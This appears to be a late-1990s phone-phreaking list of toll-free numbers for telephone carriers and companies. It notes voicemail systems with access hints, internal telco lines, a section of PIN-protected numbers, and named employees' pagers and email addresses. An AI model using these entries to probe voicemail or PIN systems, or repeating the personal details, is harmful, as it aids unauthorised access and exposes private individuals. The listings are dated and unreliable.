+1-800-660-2355 Bell Atlantic Mobile's Loyalty Management Services Department.
+1-800-661-2355 BC Tel Mobility Customer Service.
+1-800-661-4260 Telus advertising.
+1-800-663-1011 BCTel's Billing Inquiry System.
+1-800-663-1440 BC Tel Call Center/Accounts.
+1-800-663-2234 BCTel Network Sales.
+1-800-663-2455 BC Tel Mobility Customer Service Department.
+1-800-667-0123 Bell Mobility's Automated Express Lane System.
+1-800-667-3500 SaskTel Business Solutions.
+1-800-667-5801 SaskTel International Head Office.
+1-800-667-6030 Bell Canada (French)
+1-800-668-0911 BCE Mobile Communications Inc.
+1-800-668-2355 Bell Canada.
+1-800-668-4862 Bell Canada Millennium (Coin)
+1-800-668-6851 Bell Canada Millennium (Alarm)
+1-800-668-6878 Bell Direct. (U.S. and Canada)
+1-800-668-9090 Bell Information Systems Repair Service.
+1-800-668-9608 Bell Canada Switch Control Centre.
+1-800-668-9716 Bell Canada Employment Centre. (Press "*" to access VMS)
+1-800-670-2355 Communication One (authorized agent of Cellular One)
+1-800-684-2255 Nortel's Meridian Home Office Support/Info.
+1-800-722-2300 Nynex President Switchboard.
+1-800-724-4443 Bell Sympatico.
+1-800-727-2231 Bell Atlantic.
+1-800-733-2355 BellSouth Phones.
+1-800-735-3030 Cincinnati Bell Long Distance.
+1-800-REWARDS Bell Canada Rewards.
+1-800-753-0223 BellSouth order line.
+1-800-767-2355 BellSouth automated billing services.
+1-800-772-2141 Bell Canada Millennium (Setshop)
+1-800-773-2121 Sympatico Customer Service. (Bell Canada's Internet service)
+1-800-775-2355 BellSouth Phones.
+1-800-782-8353 Pacific Bell (to report any payphone crimes)
+1-800-792-2665 (1-800-SWB-BOOK) Southwestern Bell Directory Source.
+1-800-830-2355 Bell Atlantic Mobile.
+1-800-832-6338 BellSouth Memory Call Service.
+1-800-833-7477 Nortel Networks.
+1-800-842-1558 BellSouth Benefits Service Center.
+1-800-843-2255 Bell Atlantic Small Business Direct Response Center.
+1-800-847-7303 Bell Minor Hockey Hotline.
+1-800-848-8000 Pacific Bell Directory Smart Resource. (U.S. only)
+1-800-848-8353 Bell ActiMedia (Tele-Direct) Customer Service.
+1-800-858-9413 BellSouth ISDN order line.
+1-800-922-0204 Bell Atlantic Mobile.
+1-800-925-0010 BellSouth Communications Systems.
+1-800-925-0049 BellSouth Equipment/Customer Changes. (U.S. only)
+1-800-925-2525 BellSouth Business.
+1-800-933-2355 Fulfillment plus. (agent of Pacific Bell)
+1-800-934-2255 Bell Atlantic.
+1-800-936-6245 IslandTel. (IslandTel Express="1")
+1-800-957-9999 Bell Canada Long Distance.
+1-800-973-2223 Telus Directory Delivery Service. (order phone books!)
+1-877-ALL-WKND Bell Mobility.
+1-877-268-4273 Bell Gardium Sales Department.
+1-877-318-0859 Bell Sympatico.
+1-877-344-3330 BC Tel Mobility.
+1-877-499-1260 Bell Canada's Smart Touch Promotion Line.
+1-877-4PERCALL Bell Canada's (Dis)Advantage Per Call.
+1-877-652-4119 Bell's SmartTouch Promotion.
+1-877-70-SPEED Bell Sympatico.
+1-877-723-4400 Bell Mobility Totalcom.
+1-877-FIRSTRATE Bell FirstRate Interactive Information and Enrollment Service.
+1-877-90-SPEED Bell Sympatico.
+1-877-91-SPEED Bell Sympatico.
+1-888-201-2355 BellSouth Benefit Enrollment System.
+1-888-203-2355 BellSouth.
+1-888-206-2355 Bell Atlantic.
+1-888-208-2355 Bell Atlantic.
+1-888-217-6540 Bell Mobility Service.
+1-888-219-2355 Bell Atlantic.
+1-888-221-2355 Bell Atlantic.
+1-888-223-2355 Bell Atlantic.
+1-888-242-2355 Bell (Spanish)
+1-888-24-FIRST Bell FirstRate Interactive Information and Enrollment Service.
+1-888-264-2355 (1-888-ANI-BELL) Bell Atlantic Caller ID.
+1-888-299-0977 Bell Canada's Interactive Sympatico Ordering Service.
+1-888-308-5640 Bell Mobility Paging.
+1-888-327-2355 BellSouth Mobility Area Code Reprogramming Department.
+1-888-333-4454 Bell Equipement D Imprimerie.
+1-888-345-2355 Cellular One Dispatch.
+1-888-377-2355 Bell Firstrate Interactive Information and Enrollment Service.
+1-888-378-2355 Bell Canada's Ontario Direct Marketing Center.
+1-888-383-2355 BellSouth Cellular Fraud Prevention Center.
+1-888-388-2355 Bell Direct in Canada. (the same as 310-BELL)
+1-888-4-662453 (1-888-4-MOBILE) Bell Mobility Cellular.
+1-888-442-0222 Bell Mobility Accounts Receivable.
+1-888-455-2355 Southwestern Bell. NIS any longer.
+1-888-457-7310 Bell Mobility.
+1-888-462-8033 BellSouth COCOT repair.
+1-888-522-2355 Cellular One.
+1-888-543-2355 BellSouth Internet Business.
+1-888-562-2355 Cellular One's Job Hotline.
+1-888-597-9999 Schwab Canada QUALCOMM Digital PCS phone from Bell Mobility.
+1-888-677-2355 Bell Atlantic View at One Support.
+1-888-681-2355 Cellular One.
+1-888-685-2355 BC Tel Multiple Option Messaging.
+1-888-730-2355 Bell Atlantic.
+1-888-739-2737 (1-888-REWARDS) Bell Canada.
+1-800-668-1717 Nortel's Global Customer Service.
+1-888-741-2355 Bell Atlantic.
+1-888-743-2355 Bell Atlantic.
+1-888-745-2355 Bell Atlantic.
+1-888-749-2355 Bell Atlantic.
+1-888-751-2355 Bell Atlantic.
+1-888-755-2355 Pacific Bell Equipment.
+1-888-775-2355 Pacific Bell Equipment.
+1-888-781-2355 Bell Atlantic.
+1-888-782-2355 Bell Atlantic.
+1-888-788-2355 Bell Canada Business Consulting Group.
+1-888-811-2323 BCTel Customer Service.
+1-888-837-1668 BellSouth Telecom Rental Services.
+1-888-867-7587 (1-888-TMS-PLUS) Telus.
+1-888-904-2355 Bell Firstrate Interactive Information and Enrollment Service.
+1-888-905-2284 BC Tel Interactive Business Solutions.
+1-888-932-6666 BCE Corp. Communications.
+1-888-969-2355 Bell Atlantic.
+1-888-983-2355 Bell Atlantic.
+1-888-984-2355 Bell Atlantic.
+1-888-985-2355 Bell Atlantic.
+1-888-986-2355 Bell Atlantic.
+1-888-988-2355 Bell Atlantic.
+1-888-989-2355 Bell Atlantic.
+1-888-990-2355 Bell Atlantic.
+1-888-992-2355 Bell Atlantic.
+1-888-993-2355 Bell Atlantic.
+1-888-996-2355 Bell Atlantic.
+1-888-997-2355 Bell Atlantic.
+1-888-CELLPHONE Cellular One.
+
+
+-------------------------------------------------------------------------------
+ GTE:
+-------------------------------------------------------------------------------
+
+1-800-225-5160 GTE Corporation Teleservicing System.
+1-800-225-5483 (1-800-CALL-GTE) GTE Long Distance.
+1-800-272-3466 GTE Telecom.
+1-800-346-5800 GTE Business Sales Center.
+1-800-347-5665 GTE Express. (Cellular)
+1-800-366-4834 (1-800-FON-GTE4) GTE Personnel-only question line. (U.S. only)
+1-800-366-4835 (1-800-FON-GTE5) GTE Personnel-only question line.
+1-800-366-5665 GTE Express. (Cellular)
+1-800-428-8722 GTE Superpages Internet Services.
+1-800-445-5288 GTE Business Sales Center.
+1-800-448-3795 GTE.
+1-800-483-1000 (1-800-GTE-1000) GTE Repair Center.
+1-800-483-2273 (1-800-GTE-CARD) GTE Calling Card Services.
+1-800-483-3000 GTE Billing Center.
+1-800-483-3600 GTE North Customer Billing Center.
+1-800-483-4000 GTE California Customer Service Ordering Center.
+1-800-483-4839 GTE Business Response Center.
+1-800-483-5000 GTE California Business Sales Center.
+1-800-483-5288 GTE Headquarters in Irving, TX.
+1-800-483-5400 GTE Business Sales Center.
+1-800-483-5559 GTE.
+1-800-483-5781 GTE Wireless.
+1-800-483-7243 (1-800-GTE-PAGE) GTE Paging.
+1-800-483-7479 GTE Hawaiian Tel's Business Sales Center.
+1-800-483-8494 GTE Long Distance.
+1-800-527-2558 GTE Business Response Center.
+1-800-643-0997 GTE Bank Card Center.
+1-800-670-9320 GTE Paging.
+1-800-727-2355 GTE Wireless.
+1-800-787-9689 GTE Customer Service.
+1-800-877-5665 GTE Express. (Cellular)
+1-800-888-8448 GTE Directory Order Center.
+
+
+-------------------------------------------------------------------------------
+ MCI WorldCom:
+-------------------------------------------------------------------------------
+
+1-800-225-5888 MCI WorldCom Operator Services.
+1-800-254-8991 MCI WorldCom Customer Service. (U.S. only)
+1-800-264-1000 MCI WorldCom Customer Service.
+1-800-265-5328 MCI's 1-800-COLLECT. Automated collect calls.
+1-800-267-7320 Network MCI
+1-800-270-6245 WorldCom VMS. ("Please enter the # sign followed by your BN")
+1-800-275-0200 MCI WorldCom Residential/Business Customer Service.
+1-800-275-1234 MCI WorldCom. Accepts calling cards for phone calls.
+1-800-333-1000 MCI WorldCom Commercial Customer Service.
+1-800-333-2000 MCI WorldCom.
+1-800-333-5000 MCI WorldCom Residential Service.
+1-800-336-0149 MCI WorldCom Global Product Support.
+1-800-432-4557 MCI WorldCom Account Services. (U.S. only)
+1-800-444-1111 MCI WorldCom's Global Technical Service Center.
+1-800-444-3333 MCI Customer Service. (U.S. only)
+1-800-444-4444 MCI WorldCom.
+1-800-444-6242 MCI.
+1-800-444-6245 MCI Mail Messaging and Technical Support.
+1-800-444-7000 MCI WorldCom St. Louis Business Market Sales Office.
+1-800-455-1605 Network MCI System.
+1-800-455-2957 Network MCI System.
+1-800-455-4215 Network MCI System.
+1-800-455-5469 Network MCI System.
+1-800-455-6084 Network MCI Interactive Paging Service.
+1-800-455-6504 Network MCI System.
+1-800-455-6513 Network MCI System.
+1-800-455-6780 Network MCI System.
+1-800-455-6834 Network MCI System.
+1-800-455-7806 Network MCI System.
+1-800-455-7854 Network MCI System.
+1-800-455-7920 Network MCI System.
+1-800-475-0138 MCI WorldCom.
+1-800-475-5628 MCI WorldCom Paging System.
+1-800-475-9321 MCI WorldCom.
+1-800-483-4929 Network MCI System.
+1-800-483-8784 Network MCI System.
+1-800-539-2000 MCI WorldCom Business Services.
+1-800-555-4668 Network MCI System.
+1-800-627-2355 MCI WorldCom Administrative Offices.
+1-800-637-2255 MCI WorldCom.
+1-800-644-NEWS MCI WorldCom Public Relations.
+1-800-645-2355 MCI WorldCom.
+1-800-666-1904 MCI WorldCom. (U.S. only)
+1-800-666-2613 MCI WorldCom.
+1-800-674-2355 MCI WorldCom (calling card calls)
+1-800-688-4889 MCI National Relay Service in the U.S. (TTY)
+1-800-701-9358 MCI WorldCom. (U.S. only)
+1-800-701-9360 MCI WorldCom. (U.S. only)
+1-800-724-3624 (1-800-PAGE-MCI) MCI WorldCom Paging System.
+1-800-727-5555 MCI Small Business Accounts. (U.S. only)
+1-800-827-4690 MCI WorldCom Paging System.
+1-800-827-4750 MCI WorldCom Paging System.
+1-800-848-4480 MCI WorldCom Network Assistance. (modem)
+1-800-864-4060 MCI WorldCom Wholesale Services.
+1-800-872-7654 MCI WorldCom's EDI Group.
+1-800-876-8581 Network MCI.
+1-800-877-8000 MCI.
+1-800-877-9320 Network MCI.
+1-800-888-8000 MCI WorldCom automated calling card calls.
+1-800-944-0700 MCI WorldCom Wireless.
+1-800-947-8642 MCI National Relay Service in the U.S. (voice)
+1-800-950-1022 MCI WorldCom Customer Service.
+1-800-999-7700 MCI WorldCom.
+1-800-COLLECT MCI WorldCom automated collect calls.
+1-800-SUNDAYS MCI WorldCom.
+1-800-WORLDCOM WorldCom.
+1-888-575-2355 MCI WorldCom.
+1-888-624-2355 MCI WorldCom.
+1-888-655-2355 Network MCI Contact.
+1-888-724-3624 (1-888-PAGE-MCI) MCI WorldCom Paging System.
+
+
+-------------------------------------------------------------------------------
+ Sprint:
+-------------------------------------------------------------------------------
+
+1-800-227-9892 Sprint.
+1-800-256-8340 Sprint Canada.
+1-800-277-7468 Sprint Phone Card and Collect calls.
+1-800-308-MOST Sprint Canada.
+1-800-322-3090 Sprint.
+1-800-336-MOST Sprint Canada.
+1-800-348-MOST Sprint Canada.
+1-800-349-MOST Sprint Canada.
+1-800-359-2255 Sprint Voice Phone Card.
+1-800-366-0707 Sprint Pre-Paid Card Customer Service.
+1-800-366-2255 Sprint automated LD calling (U.S. and Canada)
+1-800-370-MOST Sprint Canada.
+1-800-455-4602 Sprint PCS.
+1-800-456-9711 Sprint Canada Customer Service.
+1-800-459-MOST Sprint Canada.
+1-800-467-7746 Sprint.
+1-800-469-MOST Sprint Canada.
+1-800-480-4727 (1-800-480-4PCS) Sprint PCS.
+1-800-483-MOST Sprint Canada.
+1-800-496-MOST Sprint Canada.
+1-800-505-MOST Sprint Canada.
+1-800-506-8268 Sprint Canada.
+1-800-515-6678 (1-800-515-MOST) Sprint Canada.
+1-800-516-MOST Sprint Canada.
+1-800-522-9320 Sprint Canada.
+1-800-540-4516 Sprint Canada.
+1-800-546-2500 Sprint's online directory of SprintNet local access numbers.
+1-800-546-6000 SprintNet's In-WATS Service.
+1-800-548-8120 Sprint Canada.
+1-800-555-2800 Sprint (Spanish)
+1-800-570-2255 Sprint Business Service Center.
+1-800-571-6678 (1-800-571-MOST) Sprint Canada.
+1-800-575-2255 Sprint Canada's Business Sales Office in Halifax.
+1-800-581-MOST Sprint Canada.
+1-800-593-6678 Sprint Long Distance.
+1-800-597-1195 Sprint Canada.
+1-800-597-9765 Sprint Canada.
+1-800-605-MOST Sprint Canada.
+1-800-631-MOST Sprint Canada.
+1-800-653-MOST Sprint Canada.
+1-800-666-6999 Sprint Canada.
+1-800-674-7000 Sprint.
+1-800-680-6678 (1-800-680-MOST) Sprint Canada.
+1-800-681-MOST Sprint Canada.
+1-800-714-MOST Sprint Canada.
+1-800-736-1130 SprintNet data network products and services.
+1-800-746-3767 (1-800-PIN-DROP) Sprint. (U.S. only)
+1-800-777-4681 (1-800-SPRINT-1) Sprint Paging.
+1-800-777-4683 (1-800-SPRINT-3) Sprint Selections.
+1-800-801-6678 (1-800-801-MOST) Sprint Canada.
+1-800-810-MOST Sprint Canada.
+1-800-827-2200 Sprint Business.
+1-800-827-3700 Sprint Long Distance.
+1-800-827-4680 Sprint Business.
+1-800-827-4685 Sprint's Global One Customer Service Center.
+1-800-827-4700 Sprint Long Distance.
+1-800-827-4800 Sprint Business Sales Office.
+1-800-830-MOST Sprint Canada.
+1-800-841-MOST Sprint Canada.
+1-800-843-6678 (1-800-THE-MOST) Sprint Canada.
+1-800-873-9350 Sprint Canada.
+1-800-874-5069 Sprint Canada.
+1-800-877-4453 Sprint Employee News line. (U.S. only. Updated daily)
+1-800-877-4646 Sprint Account/Rewards/Calling Card customer services.
+1-800-877-5045 Sprint Service Management Center.
+1-800-877-8000 Sprint Operator assisted calls.
+1-800-877-8973 Sprint National Relay Service in the U.S. (voice/TTY)
+1-888-890-2384 Sprint Canada (French)
+1-800-994-6678 (1-800-994-MOST) Sprint Canada.
+1-800-FON-CARD Sprint's automated calling.
+1-877-4-WEEKENDS Sprint.
+1-877-5CONTACT Sprint.
+1-888-254-0701 Sprint Canada's "The Most" Online.
+1-888-254-2927 Sprint Canada.
+1-888-276-2179 Sprint PCS.
+1-888-369-DATA Sprint.
+1-888-371-3279 Sprint Canada.
+1-888-490-3279 (1-888-490-EASY) Sprint Canada's "The Most" Online.
+1-888-510-3279 Sprint Canada.
+1-888-581-3279 Sprint Canada.
+1-888-660-3279 Sprint Canada.
+1-888-670-3279 Sprint Canada.
+1-888-675-3279 Sprint Canada.
+1-888-685-3279 Sprint Canada's "The Most" Online.
+1-888-689-3279 Sprint Canada's "The Most" Online.
+1-888-690-3279 Sprint Canada's "The Most" Online.
+1-888-710-3279 Sprint Canada's "The Most" Online.
+1-888-777468-249 (1-888-SPRINT-BIZ) Sprint Business Flex line.
+1-888-790-3279 Sprint Canada.
+1-888-IN-TOUCH Sprint "Stay in touch" Services.
+
+
+-------------------------------------------------------------------------------
+ US West:
+-------------------------------------------------------------------------------
+
+(303) 896-7683 US West (Denver), automated job line.
+1-800-227-2209 Enterprise US West Employee Help Line.
+1-800-238-7848 US West "Air Touch" Cellular.
+1-800-244-1111 US West Communications.
+1-800-338-0018 US West Direct Yellow Pages.
+1-800-422-8793 US West Directory Source.
+1-800-455-8706 US West Repair Center for AT&T.
+1-800-4US-WEST US West Card Services.
+1-800-626-6611 US West "Air Touch" Cellular Customer Service.
+1-800-856-3376 US West Dispatch. (U.S. only)
+1-800-879-4357 US West Employee Locator.
+1-800-883-6171 US West Completions and Translations. (U.S. only)
+
+
+-------------------------------------------------------------------------------
+ Miscellaneous Telcos, LD Carriers, Voice Mail Systems and Companies:
+-------------------------------------------------------------------------------
+
+1-303-499-7111 Atomic Clock in Colorado.
+1-937-445-4357 NCR HQ. (option 2)
+1-800-200-0068 Call Interactive. (listen to male and female voices)
+1-800-221-2255 American Airlines VMS.
+1-800-221-4009 London Telcom.
+1-800-222-5161 IBM Program Headquarters.
+1-800-222-TIPS Crime Stoppers.
+1-800-222-9323 AMD's Literature and Technical Service Center. (no Fax-back)
+1-800-225-2255 ATM Communications. Collect, calling & credit card calls.
+1-800-225-4288 ATN Communications. (collect, credit, calling card)
+1-800-225-5101 Cable Guide Hotline.
+1-800-225-5128 NOS automated collect, credit and calling card calls.
+1-800-225-5152 Nationwide Messaging.
+1-800-225-5228 ATN Communications. (collect, credit, calling card)
+1-800-225-5233 NOS automated collect, credit and calling card calls.
+1-800-225-5249 (1-800-CALL-AIX) IBM AIX Support.
+1-800-225-5265 1-800-COLLECT.
+1-800-225-5268 ATN Communications. (collect, credit, calling card)
+1-800-225-5373 3M Electronic Products Information.
+1-800-225-5385 Compaq Computer Corporation.
+1-800-225-5438 IDT Long Distance/Internet Services.
+1-800-225-5455 Johnson and Johnson VMS.
+1-800-225-5463 Directory Assistance (800-CALL-INFO)
+1-800-225-5627 (1-800-CALL-NCR) NCR Customer Support.
+1-800-225-5664 NEC.
+1-800-225-5854 Meridian Mail VMB.
+1-800-225-5607 NOS automated collect, credit and calling card calls.
+1-800-225-5921 Highlander Sale Catalog. (for ordering Scottish merchandise!)
+1-800-227-3663 (1-800-CAR-FONE) Ericsson.
+1-800-229-1103 Gateway Technical Support Tutorial Credit Card Line.
+1-800-233-3382 Novell Education Programs.
+1-800-235-4008 Information America's Client Support.
+1-800-242-0080 Compaq Corporation.
+1-800-242-2121 Lucent Technologies (PBX systems info, VMS info on Audix, etc.)
+1-800-255-3700 Nintendo.
+1-800-263-0656 NCR.
+1-800-263-1121 Canon.
+1-800-263-1136 Statistics Canada.
+1-800-263-2244 Sanyo On-Site.
+1-800-263-3394 Apple Canada.
+1-800-264-2255 InComNet National Telephone and Communications.
+1-800-265-0977 NCR.
+1-800-265-MUCH MuchMusic. (Much On Demand)
+1-800-267-9010 Message Center Dispatch.
+1-800-268-3997 NEC.
+1-800-284-2255 ATN Communications. (collect, credit, calling card)
+1-800-288-2880 OCI.
+1-800-294-0020 US Tel. (phone repairs and sales)
+1-800-300-2355 NOS. (calling card, collect calls, etc.)
+1-800-320-3488 Motorola Radio Network Services in San Diego, CA.
+1-800-321-4044 Intel Overdrive/Microprocessor Support Line.
+1-800-324-1234 CTI Long Distance Customer Service.
+1-800-331-9922 General Motors Shareholder's Services.
+1-800-332-2717 Intel Technical Support.
+1-800-332-4636 Compaq Computer Corporation.
+1-800-333-9967 Communication Options.
+1-800-334-2255 GE Information Services Center.
+1-800-334-2564 (1-800-3-DIALOG) Dialog Information Service WHQ.
+1-800-336-5236 Texas Instruments.
+1-800-336-6000 Audix VMB.
+1-800-339-6181 Toshiba.
+1-800-344-4825 Compaq Canada.
+1-800-345-3444 AlternaCall Customer Information Line.
+1-800-354-9000 Compaq Customer Services.
+1-800-355-6245 ATX Telecommunication Services. (Answering Machine)
+1-800-360-2255 Century 21 Realty VMS.
+1-800-361-1319 Motorola Canada.
+1-800-367-2346 Motorola Telecommunications Administration.
+1-800-381-7707 Rogers Cantel Service Barrie.
+1-800-387-4268 Lucent Technologies.
+1-800-387-4636 Nestle Canada.
+1-800-387-5645 Toshiba.
+1-800-387-8240 NCR.
+1-800-387-8300 NCR Help Desk and Call Management Center.
+1-800-388-PIR8 SPA Anti-Piracy Hotline. (the official warez d00d ratline)
+1-800-395-4656 ITC Telecom Dispatch Service.
+1-800-4-LUCENT Lucent Technologies.
+1-800-405-6543 American Mobile Customer Accounts Support Center.
+1-800-418-6245 Blockbusters VMS.
+1-800-421-7944 NCR Benefits Service Center.
+1-800-425-1111 Pepsi Cola Atlantic Customer Service.
+1-800-426-2255 (IBM-CALL) IBM Customer Support.
+1-800-426-4682 IBM Performance Management and Capacity Planning Services.
+1-800-426-4968 (IBM-4YOU) IBM Products, Services and Technical Support.
+1-800-426-4968 IBM Customer Service.
+1-800-426-7378 (IBM-SERV) IBM Hardware/Software technical information.
+1-800-428-3929 (1-800-GATEWAY) Gateway in South Dakota.
+1-800-433-9996 Micro$oft TechHead '99 Registration Headquarters.
+1-800-HI-ITS-ME AlternaCall Collect Calls.
+1-800-444-9000 Telecom USA.
+1-800-446-6744 Motorola Supplier/Customer Training Services.
+1-800-448-2244 (1-800-HITACHI) Hitachi.
+1-800-452-9996 Statistics Canada.
+1-800-453-0920 Motorola IDEN Customer Services.
+1-800-455-4890 Pager that plays a South Park Song for the greeting.
+1-800-455-5958 ITC Telecom.
+1-800-456-3333 SkyTel National Sales Center.
+1-800-457-1235 Lucent Technologies BCS Publications Center.
+1-800-457-6245 CSI CompuServe Technical Support. (Requires UserId #)
+1-800-460-1111 Qwest Customer Service.
+1-800-460-2222 Qwest.
+1-800-460-3333 Qwest.
+1-800-461-4575 Motorola Cellular Customer Service.
+1-800-461-5161 NCR Canada Emergency Parts Order Desk.
+1-800-465-1176 Meridian Mail VMB.
+1-800-4-ONLINE America Online order line.
+1-800-467-2355 CenturyTel.
+1-800-468-1714 Hershey Canada.
+1-800-468-3548 (1-800-INTEL-IT) Intel Product Repair Service.
+1-800-475-3107 Joanne Wilson from IBM Global Services Pager.
+1-800-477-9692 ATN Information and Customer Service.
+1-800-483-1170 3Com's Customer Service after hours VMB.
+1-800-483-1288 IBM Work Group Services.
+1-800-483-4444 FirsTel Advanced Communications Customer Service Center.
+1-800-483-5463 800 Ideas.com Incorporated.
+1-800-483-6681 StarTech telco.
+1-800-501-6245 Database America's answering machine.
+1-800-509-1800 Novell's Customer Response Center.
+1-800-522-6245 AMD VMS. (enter 3 digit ext# then 3 digit passcode#)
+1-800-525-5288 ATN Communications.
+1-800-536-3273 Frontier Customer Service.
+1-800-542-7279 (1-800-LIBRARY) The Teleconnect Dictionary (Telecom Books,
+ Glossary of Terms, Acronyms and Jargon)
+1-800-555-1212 Toll Free Directory Assistance/Info.
+1-800-555-1313 SkyTel VMB.
+1-800-555-1560 Audix VMB.
+1-800-555-2052 Gateway 2000 International Department.
+1-800-555-2091 Gateway 2000 International Department.
+1-800-555-2255 NOS. Collect, credit card calls, Operator assisted, etc.
+1-800-555-3012 Gateway Direct Line.
+1-800-555-4000 "Mike's" SkyTel Direct Dial VMB. Press "*" to access.
+1-800-555-6620 Meridian Mail VMB.
+1-800-555-7665 TelAmerica.
+1-800-557-6245 Saloman Smith Barney VMS.
+1-800-563-9048 Micro$oft Canada Sales and Information Centre.
+1-800-565-2237 Acer America Corporation.
+1-800-567-1616 Compaq.
+1-800-569-DELL DELL.
+1-800-576-2255 Frontier Communications Customer Service.
+1-800-580-5585 WesTel Incorporated Customer Service.
+1-800-588-1111 ActionTel.
+1-800-588-2222 ActionTel Customer Service.
+1-800-594-3000 Call-Home America.
+1-800-595-8480 Rogers@Home.
+1-800-627-2303 (1-800-NCR-2303) NCR Corporation Shareholder Services.
+1-800-627-5609 Conquest Customer Service.
+1-800-628-2888 Lucent Technologies National Customer Care Center.
+1-800-628-8686 Intel Customer Service.
+1-800-628-9526 Compaq Support Line.
+1-800-633-2255 NOS automated collect, credit and calling card calls.
+1-800-638-9273 Novell Customer Support.
+1-800-638-9636 Genie Online Service.
+1-800-639-8359 (1-800-NEXTEL-9)
+1-800-647-2355 MinIowa PC Partner. 1-877-727-3375 Internet number.
+1-800-652-6672 (1-800-OK-COMPAQ) Compaq Computer Corporation Technical Support.
+1-800-658-5199 AccessData Corporation. (data recovery)
+1-800-663-7780 NCR Invoicing Department.
+1-800-667-3601 Frontier SpeedLink.
+1-800-669-1800 Burger King's VMB. (4 digit BNs)
+1-800-685-3968 (1-800-NUKE-YOU) is VoiceComm.
+1-800-724-3780 Seiger Electronics.
+1-800-725-5288 ATN Communications.
+1-800-726-7864 (1-800-SAMSUNG) Samsung Information Line.
+1-800-733-9673 (1-800-RED-WORD) Novell Developer's Support.
+1-800-741-2255 ATN Communications. (collect, credit, calling card, Op assisted.)
+1-800-777-2255 Phone Works VMS.
+1-800-777-3278 Fujitsu Network Communications Inc.
+1-800-777-4343 Digital Equipment Corp.
+1-800-783-2020 Frontier Communications Customer Service.
+1-800-786-0404 (1-800-SUN-0404) Sun Express (supplier of Sun Microsystems)
+1-800-788-8588 Working Assets Long Distance.
+1-800-800-8800 Target Directory.
+1-800-822-2000 Lucent Technologies.
+1-800-825-2255 Metro-Call Customer Service. (pager service)
+1-800-827-1200 American Directory Service Corporation. (order telephone books)
+1-800-827-1225 IBM/NCR Retail Vendor Support Line.
+1-800-828-3362 Novell Authorization Department.
+1-800-829-1011 Network Management Center.
+1-800-835-7788 US Telecom International.
+1-800-842-2255 American Express VMS (Audix)
+1-800-842-2737 Texas Instruments.
+1-800-846-2301 Gateway Technical Support Line.
+1-800-847-4096 DELL Canada's Service and Support Hot Line.
+1-800-848-0955 Williams Communications Solutions. (Meridian, OcTel info etc.)
+1-800-848-8199 CompuServe.
+1-800-848-8990 CompuServe.
+1-800-858-4000 Novell Technical Support.
+1-800-860-2255 Qwest/LCI.
+1-800-879-3782 NOS (automated collect, credit, calling card calls)
+1-800-879-7660 Iomega's Instant Access Help System.
+1-800-888-4848 Subway's VMS.
+1-800-889-6245 "Belen Hell" VMS. (VMB="#") (Dir.="3")
+1-800-892-3351 National Rifle Association (Join the NRA Now!)
+1-800-900-DELL DELL.
+1-800-925-2289 US Tel Customer Service.
+1-800-925-6278 (1-800-WAL-MART) WAL-MART Directory.
+1-800-938-2255 Pilgrim Telephone. (Intimate Connections)
+1-800-949-6245 Phone Mail VMB.
+1-800-951-2355 Cantel Communications.
+1-800-954-6245 OcTel VMB.
+1-800-999-2222 Pilgrim Telephone.
+1-800-999-DELL DELL Canada.
+1-800-FUCK-ATT Pilgrim Telephone. (Automated Collect calls) (U.S. only)
+1-800-FUCK-MCI Pilgrim Telephone. (Automated Collect calls) (U.S. only)
+1-800-FUCK-NCR Pilgrim Telephone.
+1-800-ONTARIO Travelinx Ontario. (Tourism Information)
+1-800-SKY-8888 SkyTel System Access.
+1-800-SKY-FAXE SkyFax (SkyTel Faxing)
+1-800-SKY-GRAM Skyward (SkyTel Alpha-Numeric Paging)
+1-800-SKY-PAGE SkyPager (SkyTel Numeric Paging)
+1-800-SKY-TALK SkyTalk (SkyTel Voice Mail)
+1-800-SKYTEL5 SkyTel.
+1-877-240-1267 Cantel Centre De Communication Tech.
+1-877-326-2826 NCR Bell Help Desk.
+1-877-393285465 (1-877-EXECULINK) ExecuLink Internet Services.
+1-877-396-3939 Union Telecom.
+1-877-4-LUCENT Lucent Technologies.
+1-877-677-4687 (1-877-6-PRIMUS) Primus Canada Long Distance Services.
+1-877-742-7722 Sharp Canada Customer Care Center.
+1-877-875-2762 Pioneer Help Line.
+1-877-925-6278 (1-800-WAL-MART) Customer and Associates Service Hotline.
+1-877-ROGERS-1 Rogers Corporation.
+1-888-25-GREAT Cleveland hotline.
+1-888-256-5678 NCR AlertLine.
+1-888-257-8826 Cantel Centre de Communication.
+1-888-349-6972 Micron Electronics Technical Support.
+1-888-4-LUCENT Lucent Technologies Canada.
+1-888-478-2730 I-Star Internet Incorporated.
+1-888-EMAIL-ME College Club Free VoiceMail. (U.S. only)
+1-888-504-2355 "Tony Bell" from Remax.
+1-888-536-2355 "This is Ken Bell." (Voice)
+1-888-582-3686 (1-888-LUCENT6) Lucent Technologies Shareholder Services.
+1-888-582-3688 Lucent Technologies.
+1-888-673-8925 Micro$oft's Y2K Disclosure Line.
+1-888-692-1122 CompuServe.
+1-888-715-2355 Call Home America Ultimate 800.
+1-888-736-8567 Motorola.
+1-888-751-8088 Guinness World Records.
+1-888-825-2355 Connect America.
+1-888-839-9295 IBM Haliburton Service Desk.
+1-888-ROGERS-1 Rogers Cable.
+1-888-ROGERS-2 Rogers Connection.
+1-888-STCK-NCR NCR Corporation Associates Stock Ownership at Merrill Lynch.
+1-888-Y-TOP-TEN ATN's Top Ten reasons why you should get a toll free number.
+
+
+-------------------------------------------------------------------------------
+ Telco Employees (Answering Machines and Pagers):
+-------------------------------------------------------------------------------
+
+(416) 377-3724 Mike Turner's Pager (works for Bell)
+(416) 379-2117 Dave Twiner's Pager (works for Bell)
+(416) 581-3311 irene.shimoda@bell.ca
+(514) 786-3655 shirley.bishop@bell.ca
+1-800-455-6813 Jack Hogan of MCI WorldCom's Pager.
+1-800-465-9625 Bell Canada Media Relations (Shirley Bishop)
+1-800-519-6245 TONE then "Sprint - Kimberly Martin." (Answering Machine)
+1-888-482-0809 Bell Canada Media Relations (Irene Shimoda)
+
+
+-------------------------------------------------------------------------------
+ Numbers that Require PINs:
+-------------------------------------------------------------------------------
+
+1-800-235-3155 "Welcome. Enter the PIN number you wish."
+1-800-249-6245 "Please enter your 7 digit access code."
+1-800-352-8201 "Please enter your 4 digit PIN."
+1-800-549-6245 "Welcome. Enter the PIN number you wish."
+1-800-555-2250 "Enter the PIN number you wish."
+1-800-566-6245 "Please enter your four digit PIN."
+1-800-643-6245 "Enter ID number immediately followed by your security code."
+1-800-827-4780 "Please enter your PIN number."
+1-800-862-6340 "Please enter your 4 digit PIN."
+1-888-612-2355 "Enter the PIN number you wish."
+1-888-614-2355 "Enter the PIN number you wish."
+1-888-623-2355 "Enter the PIN number you wish."
+
+
+-------------------------------------------------------------------------------
